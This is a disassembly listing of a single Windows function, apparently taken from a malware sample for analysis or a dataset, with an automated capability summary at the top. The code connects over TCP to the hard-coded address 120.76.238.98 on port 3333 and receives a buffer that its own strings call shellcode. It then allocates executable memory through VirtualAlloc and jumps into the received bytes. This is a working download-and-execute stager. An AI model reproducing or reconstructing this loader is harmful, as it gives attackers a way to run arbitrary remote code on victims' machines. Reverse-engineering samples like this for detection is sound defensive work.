Function at 0x401110
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4402c6
mov eax, dword fs:[0]
push eax
mov eax, 0x233c
call fcn.00426e00
mov eax, dword [0x45765c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2348], ecx
lea eax, [ebp - 0x1a4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401183
push 0x401610
push str.Failed_to_initialize_Winsock
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov eax, 1
jmp 0x4015ef
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0xffffffff
jne 0x4011cc
push 0x401610
push str.Failed_to_create_socket
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x4015ef
mov word [ebp - 0x300], 2
push 0xd05
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x2fe], ax
push str.120.76.238.98
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x2fc], eax
push 0x10
lea ecx, [ebp - 0x300]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40124e
push 0x401610
push str.Failed_to_connect_to_server
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov eax, dword [ebp - 0x2ec]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x4015ef
lea ecx, [ebp - 0x231c]
call fcn.00401b60
mov dword [ebp - 4], 0
push 0
push 0x2000
lea ecx, [ebp - 0x230c]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 0x2320], eax
cmp dword [ebp - 0x2320], 0
jle 0x4012c5
mov eax, dword [ebp - 0x2320]
lea ecx, [ebp + eax - 0x230c]
push ecx
lea edx, [ebp - 0x230c]
push edx
lea eax, [ebp - 0x2328]
push eax
lea ecx, [ebp - 0x231c]
call fcn.00401bb0
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0x231c]
call fcn.00403320
jmp 0x401260
cmp dword [ebp - 0x2320], 0xffffffff
jne 0x4012ec
push 0x401610
push str.Error_receiving_data
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov eax, dword [ebp - 0x2ec]
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0
jne 0x40135e
push 0x401610
push str.Failed_to_load_kernel32.dll
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov dword [ebp - 0x232c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x231c]
call fcn.00401b90
mov eax, dword [ebp - 0x232c]
jmp 0x4015ef
push 0x44481c
mov ecx, dword [ebp - 0x304]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 0
jne 0x4013c4
push 0x401610
push str.Failed_to_get_VirtualAlloc_address
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov dword [ebp - 0x2330], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x231c]
call fcn.00401b90
mov eax, dword [ebp - 0x2330]
jmp 0x4015ef
push 0x4447ec
mov edx, dword [ebp - 0x304]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0
jne 0x40142a
push 0x401610
push str.Failed_to_get_VirtualFree_address
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov dword [ebp - 0x2334], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x231c]
call fcn.00401b90
mov eax, dword [ebp - 0x2334]
jmp 0x4015ef
lea ecx, [ebp - 0x231c]
call fcn.00401c20
movzx eax, al
test eax, eax
je 0x401481
push 0x401610
push str.No_shellcode_data_received.
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov dword [ebp - 0x2338], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x231c]
call fcn.00401b90
mov eax, dword [ebp - 0x2338]
jmp 0x4015ef
push 0x40
push 0x1000
lea ecx, [ebp - 0x231c]
call fcn.00401be0
push eax
push 0
call dword [ebp - 0x1a8]
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0
jne 0x4014f0
push 0x401610
push str.Failed_to_allocate_memory_for_shellcode
push 0x45b718
call fcn.00403020
add esp, 8
mov ecx, eax
call fcn.004018e0
mov dword [ebp - 0x233c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x231c]
call fcn.00401b90
mov eax, dword [ebp - 0x233c]
jmp 0x4015ef
lea ecx, [ebp - 0x231c]
call fcn.00401be0
push eax
push 0
lea ecx, [ebp - 0x231c]
call fcn.00401c40
push eax
mov ecx, dword [ebp - 0x2f0]
push ecx
call fcn.00426a90
add esp, 0xc
mov edx, dword [ebp - 0x2f0]
mov dword [ebp - 0x308], edx
call dword [ebp - 0x308]
push 0x8000
push 0
mov eax, dword [ebp - 0x2f0]
push eax
call dword [ebp - 0x2e8]
mov dword [ebp - 0x2340], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x231c]
call fcn.00401b90
mov eax, dword [ebp - 0x2340]
jmp 0x4015ef
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00426a31
mov esp, ebp
pop ebp
ret